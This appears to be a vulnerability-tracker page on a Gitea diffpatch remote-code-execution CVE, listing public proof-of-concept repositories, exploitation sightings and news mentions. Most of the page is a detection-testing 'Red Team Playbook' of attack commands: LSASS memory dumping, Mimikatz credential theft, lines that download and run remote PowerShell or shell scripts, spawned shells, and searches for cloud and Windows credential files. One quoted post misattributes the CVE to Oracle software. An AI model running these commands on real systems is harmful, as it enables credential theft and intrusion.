CVE-2026-60004
Overview
This vulnerability is a code injection flaw rooted in improper validation of input passed to the diffpatch API within Gitea's Git hook installation process. The affected component is the diffpatch API endpoint, which processes patch data without sufficient sanitization, enabling execution of arbitrary code via crafted input. The issue arises from the unsafe handling of patch content that is integrated into Git hooks, leading to command execution capability embedded in the repository management workflow.
Vulnerability Description
Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.
Impact
An unauthenticated attacker can execute arbitrary code on the Gitea server by exploiting this vulnerability, gaining the ability to run commands with the privileges of the Gitea process. This can lead to full system compromise, data exfiltration, or lateral movement within the network. Since no authentication or user interaction is required, the attack surface is wide, potentially allowing attackers to control the repository management environment and disrupt development workflows or access sensitive source code.
Solution
Upgrade Gitea to version 1.27.1 or later, as detailed in the official Gitea security advisory (GHSA-rcr6-4jqh-j84m) and release notes at https://blog.gitea.com/release-of-1.27.1/. These updates address the vulnerability by correcting input validation in the diffpatch API. Administrators should follow the vendor's patch instructions precisely to ensure the fix is applied. No alternative workarounds are documented; timely patching is essential.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gitea | Gitea | All |
cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (16)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
imbas007/CVE-2026-60004-POC
CVE-2026-60004 Pre-Auth RCE Exploit — Gitea <= 1.27.0 diffpatch git hook injection (CVSS 9.8)
|
imbas007 | 18 | 7 | 2026-08-03 | View |
|
ashrafzaryouh/CVE-2026-60004
CVE-2026-60004
|
ashrafzaryouh | 6 | 2 | 2026-07-30 | View |
|
0xredash/CVE-2026-60004
CVE-2026-60004
|
0xredash | 6 | 2 | 2026-07-30 | View |
|
0xBlackash/CVE-2026-60004
CVE-2026-60004
|
0xBlackash | 6 | 2 | 2026-07-30 | View |
|
HORKimhab/CVE-2026-60004
CVE-2026-60004
|
HORKimhab | 5 | 1 | 2026-07-29 | View |
|
HackSpeak/CVE-2026-60004
Gitea diffpatch RCE (CVE-2026-60004) PoC - repo-write to RCE as Gitea service account
|
HackSpeak | 2 | 0 | 2026-08-04 | View |
|
gagaltotal/CVE-2026-60004-poc-gitea
CVE-2026-60004 — Gitea Pre-Auth RCE via diffpatch hook injection
|
gagaltotal | 2 | 0 | 2026-08-08 | View |
|
EQSTLab/CVE-2026-60004
Gitea diffpatch RCE
|
EQSTLab | 2 | 0 | 2026-07-30 | View |
|
yym8538/CVE-2026-60004
|
yym8538 | 1 | 0 | 2026-08-21 | View |
|
basesixtythree/B63-POC-CVE-2026-60004
CVE-2026-60004 (Gitea): unauth RCE via diffpatch add/add collision -> live git hook in bare temp clone (KEV) — b63 showc...
|
basesixtythree | 0 | 0 | 2026-11-01 | View |
|
erberkan/CVE-2026-60004-PoC
Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.
|
erberkan | 0 | 0 | 2026-09-14 | View |
|
InfoSec-DB/CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
|
InfoSec-DB | 0 | 0 | 2026-08-30 | View |
|
InfoSec-DB/CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
|
InfoSec-DB | 0 | 0 | 2026-08-30 | View |
|
shinthink/CVE-2026-60004
CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 ...
|
shinthink | 0 | 0 | 2026-08-03 | View |
|
Sachinart/CVE-2026-60004-gitea-0day
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
|
Sachinart | 0 | 0 | 2026-08-04 | View |
|
fevar54/cve-2026-60004
CVE-2026-60004 es una vulnerabilidad crítica (CVSS 9.8) en Gitea que permite ejecución remota de código sin autenticació...
|
fevar54 | 0 | 0 | 2026-08-25 | View |
Threat Feed
33 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 155 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (50)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social bsky.app @sdas86.bsky.social 2026-11-15 14:46 UTCGitea CVE-2026-60004 is on CISA's exploited list: write access to any repo is enough to plant a Git hook via diffpatch and run commands. Fixed in 1.27.1. Frame flags it offline: github.com/lambdasec/fr...Open source
-
code github.com basesixtythree 2026-11-01 19:44 UTCbasesixtythree/B63-POC-CVE-2026-60004Open source
-
social bsky.app @hacker.at.thenote.app 2026-11-01 18:42 UTCThe long road to root. [Research Saturday] Today we are joined by Subhajeet Singha, Senior Security Researcher at Acronis Threat Research Unit, discussing their work on "Red Heron exploits Gitea n-day flaw in multinational campaign, ex…Open source
-
social bsky.app @zoomeyebot.bsky.social 2026-10-29 22:45 UTCCVE-2026-60004: Critical Gitea diffpatch RCE exploited in the wild; fixed in 1.27.1. Search: app="Gitea" Exposure: 117,536 product matches, not confirmed vulnerable. ZoomEye Read https://zoomeye.ai/agent.md and configure ZoomEye for this a…Open source
-
advisory recordedfuture.com 2026-10-13 07:00 UTCSeptember 2026 CVE Landscape - Recorded FutureOpen source
-
social bsky.app @pvynckier.bsky.social 2026-09-27 10:50 UTCRed Heron Exploits Critical Gitea Flaw to Steal Repositories and Deploy Linux Rootkit gbhackers.com/red-heron-ex...Open source
-
news cyberpress.org 2026-09-26 07:00 UTCRed Heron Hackers Exploit Critical Gitea RCE to Steal Source Code and Deploy Linux Rootkit - Cyber PressOpen source
-
social bsky.app @getpokemon7.bsky.social 2026-09-26 02:33 UTC8,300台以上のGiteaサーバーがコード実行攻撃に対して脆弱であることが判明 サイバーセキュリティ監視団体Shadowserverによると、インターネットに公開されているGiteaインスタンスのうち8,300以上が、現在進行中のリモートコード実行攻撃で悪用されている重大なセキュリティ上の欠陥に対するパッチが適用されていない状態にある。 これらの攻撃で標的となったコードインジェクションの脆弱性(CVE-2026-60004 )は、Salesforceのセキュリティ研究者で…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-09-25 00:03 UTCハッカーは、コードインジェクション攻撃において、Giteaの重大な脆弱性を悪用している。 米国サイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA)によると、攻撃者はGiteaのセルフホスト型Gitサービスに存在する重大な脆弱性を積極的に悪用している。 クラウド上でホストされるGitHubやGitLabのようなSaaS(Software as a Service)プラットフォームと同様に、GiteaはDevOpsツール一式を提供しますが、自己ホスト型のソフトウ…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-09-24 23:58 UTC米国サイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA)が、既知の悪用された脆弱性リストにGiteaの脆弱性を追加 米国のサイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA) は、 Oracle HTTP ServerおよびOracle Weblogic Serverプロキシプラグインの脆弱性(CVE-2026-60004、CVSSスコア9.8)を、既知の悪用された脆弱性(KEV)カタログに追加しました。 Giteaは、Gitリポジトリのホス…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-09-24 23:56 UTCGiteaの重大なリモートコード実行脆弱性が積極的に悪用され、マイナーのようなペイロードを投下する攻撃が報告されている。 米サイバーセキュリティ・インフラストラクチャセキュリティ庁(CISA)は火曜日、最近修正されたGiteaに影響を与える重大なセキュリティ上の欠陥を標的とした攻撃が活発に行われていると警告した。 問題となっている脆弱性はCVE-2026-60004(CVSSスコア:9.8)であり、リポジトリへの通常の書き込みアクセス権を持つ攻撃者が、Gitea OSユーザ…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-09-24 23:53 UTCCISAがGiteaの脆弱性が悪用されたことを警告 CISAは、最近パッチが適用されたGiteaの脆弱性(リモートコード実行を可能にするもの)が実際に悪用されているとして、組織に警告を発している。 Giteaは、広く利用されているオープンソースのセルフホスト型ソフトウェア開発プラットフォームであり、Gitホスティング、コードレビュー、チームコラボレーション、CI/CD機能を提供します。 CVE-2026-60004として追跡されていたこの脆弱性は、Giteaの開発者によって…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-09-24 22:46 UTC米当局、「Gitea」のRCE脆弱性に注意喚起 - 悪用確認 米当局は、開発ツール「Gitea」に判明した既知の脆弱性が悪用されているとして注意喚起を行った。 米サイバーセキュリティインフラストラクチャセキュリティ庁(CISA)が現地時間2026年8月25日、「CVE-2026-60004」を「悪用が確認された脆弱性カタログ(KEV)」へ追加したもの。 「Gitea」は、ソースコードのバージョン管理や共同開発に利用されるセルフホスト型のGitツール。同脆弱性は、リポジトリへ…Open source
-
social bsky.app @getpokemon7.bsky.social 2026-09-24 22:36 UTCCISA Adds One Known Exploited Vulnerability to Catalog Release Date August 25, 2026 CVE-2026-60004 Gitea Code Injection VulnerabilityOpen source
-
